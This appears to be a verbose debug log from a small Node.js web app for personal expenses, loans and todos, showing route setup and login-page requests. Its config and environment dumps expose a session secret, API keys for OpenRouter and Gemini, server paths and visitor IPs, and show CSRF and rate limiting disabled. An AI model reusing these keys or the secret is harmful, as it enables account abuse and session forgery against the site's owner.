2026-05-01T07:40:09.666Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T07:40:09.670Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T07:40:09.675Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T07:40:09.685Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T07:40:09.689Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T07:40:09.762Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T07:40:09.762Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T07:40:09.767Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T07:40:09.773Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T07:40:09.777Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T07:40:09.780Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T07:40:09.787Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T07:40:09.787Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T07:40:09.794Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T07:40:09.796Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T07:40:09.800Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T07:40:09.802Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T07:40:09.804Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T07:40:09.810Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T07:40:09.812Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T07:40:09.814Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T07:40:09.817Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T07:40:09.821Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T07:40:09.824Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T07:40:09.830Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T07:40:09.834Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T07:40:09.836Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T07:40:09.845Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T07:40:10.334Z server-connect:router Serving templateView /
2026-05-01T07:40:10.336Z server-connect:app Executing action step identify
2026-05-01T07:40:10.336Z server-connect:app options: { provider: 'security' }
2026-05-01T07:40:10.338Z server-connect:auth No login cookie found
2026-05-01T07:40:10.338Z server-connect:output identity: false
2026-05-01T07:40:10.338Z server-connect:app Executing action step restrict
2026-05-01T07:40:10.338Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T07:40:10.342Z server-connect:output restrict: undefined
2026-05-01T08:20:39.153Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T08:20:40.933Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T08:20:41.912Z server-connect:setup:upload Upload middleware configured.
2026-05-01T08:20:41.912Z server-connect:secure CSRF Protection initialized
2026-05-01T08:20:41.917Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T08:20:41.973Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T08:20:41.974Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T08:20:41.975Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T08:20:41.981Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T08:20:41.988Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T08:20:41.998Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T08:20:42.012Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T08:20:42.017Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T08:20:42.017Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-01T08:20:42.020Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T08:20:42.024Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T08:20:42.030Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T08:20:42.040Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T08:20:42.044Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T08:20:42.110Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T08:20:42.113Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T08:20:42.116Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T08:20:42.124Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T08:20:42.127Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T08:20:42.130Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T08:20:42.138Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T08:20:42.138Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T08:20:42.145Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T08:20:42.147Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T08:20:42.151Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T08:20:42.154Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T08:20:42.154Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T08:20:42.162Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T08:20:42.162Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T08:20:42.165Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T08:20:42.168Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T08:20:42.171Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T08:20:42.173Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T08:20:42.179Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T08:20:42.183Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T08:20:42.183Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T08:20:42.194Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T08:20:42.781Z server-connect:router Serving templateView /
2026-05-01T08:20:42.784Z server-connect:app Executing action step identify
2026-05-01T08:20:42.784Z server-connect:app options: { provider: 'security' }
2026-05-01T08:20:42.786Z server-connect:auth No login cookie found
2026-05-01T08:20:42.786Z server-connect:output identity: false
2026-05-01T08:20:42.786Z server-connect:app Executing action step restrict
2026-05-01T08:20:42.787Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T08:20:42.791Z server-connect:output restrict: undefined
2026-05-03T20:26:05.374Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-03T20:26:07.644Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-03T20:26:08.508Z server-connect:setup:upload Upload middleware configured.
2026-05-03T20:26:08.508Z server-connect:secure CSRF Protection initialized
2026-05-03T20:26:08.512Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-03T20:26:08.516Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-03T20:26:08.519Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-03T20:26:08.523Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-03T20:26:08.528Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-03T20:26:08.531Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-03T20:26:08.544Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-03T20:26:08.559Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-03T20:26:08.563Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-03T20:26:08.563Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-03T20:26:08.566Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-03T20:26:08.569Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-03T20:26:08.576Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-03T20:26:08.585Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-03T20:26:08.591Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-03T20:26:08.660Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-03T20:26:08.661Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-03T20:26:08.667Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-03T20:26:08.671Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-03T20:26:08.675Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-03T20:26:08.677Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-03T20:26:08.685Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-03T20:26:08.687Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-03T20:26:08.693Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-03T20:26:08.696Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-03T20:26:08.700Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-03T20:26:08.700Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-03T20:26:08.704Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-03T20:26:08.709Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-03T20:26:08.711Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-03T20:26:08.713Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-03T20:26:08.713Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-03T20:26:08.719Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-03T20:26:08.719Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-03T20:26:08.726Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-03T20:26:08.730Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-03T20:26:08.732Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-03T20:26:08.742Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-03T20:26:09.229Z server-connect:router Serving templateView /
2026-05-03T20:26:09.231Z server-connect:app Executing action step identify
2026-05-03T20:26:09.232Z server-connect:app options: { provider: 'security' }
2026-05-03T20:26:09.234Z server-connect:auth No login cookie found
2026-05-03T20:26:09.234Z server-connect:output identity: false
2026-05-03T20:26:09.234Z server-connect:app Executing action step restrict
2026-05-03T20:26:09.234Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-03T20:26:09.237Z server-connect:output restrict: undefined
2026-05-03T20:26:15.072Z server-connect:router Serving templateView /login
2026-05-03T20:26:15.072Z server-connect:app Executing action step identify
2026-05-03T20:26:15.072Z server-connect:app options: { provider: 'security' }
2026-05-03T20:26:15.072Z server-connect:auth No login cookie found
2026-05-03T20:26:15.072Z server-connect:output identity: false
2026-05-03T20:26:15.072Z server-connect:router Render template layouts/authentication
2026-05-03T20:26:15.073Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.186.192',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-04T20:26:15.070Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.186.192',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.186.192',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T05:45:28.926Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-04T05:45:30.675Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-04T05:45:31.537Z server-connect:setup:upload Upload middleware configured.
2026-05-04T05:45:31.537Z server-connect:secure CSRF Protection initialized
2026-05-04T05:45:31.542Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-04T05:45:31.544Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-04T05:45:31.545Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-04T05:45:31.548Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-04T05:45:31.556Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-04T05:45:31.557Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-04T05:45:31.571Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-04T05:45:31.585Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-04T05:45:31.589Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-04T05:45:31.591Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-04T05:45:31.591Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-04T05:45:31.597Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-04T05:45:31.602Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-04T05:45:31.612Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-04T05:45:31.617Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-04T05:45:31.686Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-04T05:45:31.689Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-04T05:45:31.692Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-04T05:45:31.699Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-04T05:45:31.703Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-04T05:45:31.703Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-04T05:45:31.712Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-04T05:45:31.713Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-04T05:45:31.720Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-04T05:45:31.722Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-04T05:45:31.726Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-04T05:45:31.726Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-04T05:45:31.729Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-04T05:45:31.736Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-04T05:45:31.736Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-04T05:45:31.739Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-04T05:45:31.741Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-04T05:45:31.745Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-04T05:45:31.748Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-04T05:45:31.753Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-04T05:45:31.760Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-04T05:45:31.760Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-04T05:45:31.770Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-04T05:45:32.258Z server-connect:router Serving templateView /
2026-05-04T05:45:32.260Z server-connect:app Executing action step identify
2026-05-04T05:45:32.260Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:32.262Z server-connect:auth No login cookie found
2026-05-04T05:45:32.262Z server-connect:output identity: false
2026-05-04T05:45:32.262Z server-connect:app Executing action step restrict
2026-05-04T05:45:32.262Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-04T05:45:32.266Z server-connect:output restrict: undefined
2026-05-04T05:45:32.446Z server-connect:router Serving templateView /login
2026-05-04T05:45:32.447Z server-connect:app Executing action step identify
2026-05-04T05:45:32.447Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:32.447Z server-connect:auth No login cookie found
2026-05-04T05:45:32.447Z server-connect:output identity: false
2026-05-04T05:45:32.447Z server-connect:router Render template layouts/authentication
2026-05-04T05:45:32.448Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    priority: 'u=0, i',
    'sec-ch-ua': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': '"macOS"',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '35.209.179.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-05T05:45:32.445Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.209.179.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="135", "Not)A;Brand";v="99", "Chromium";v="135"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-DEST': '"macOS"',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '35.209.179.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-04T05:45:32.756Z server-connect:router Serving templateView /login/
2026-05-04T05:45:32.756Z server-connect:app Executing action step identify
2026-05-04T05:45:32.756Z server-connect:app options: { provider: 'security' }
2026-05-04T05:45:32.756Z server-connect:auth No login cookie found
2026-05-04T05:45:32.756Z server-connect:output identity: false
2026-05-04T05:45:32.756Z server-connect:router Render template layouts/authentication
2026-05-04T05:45:32.757Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
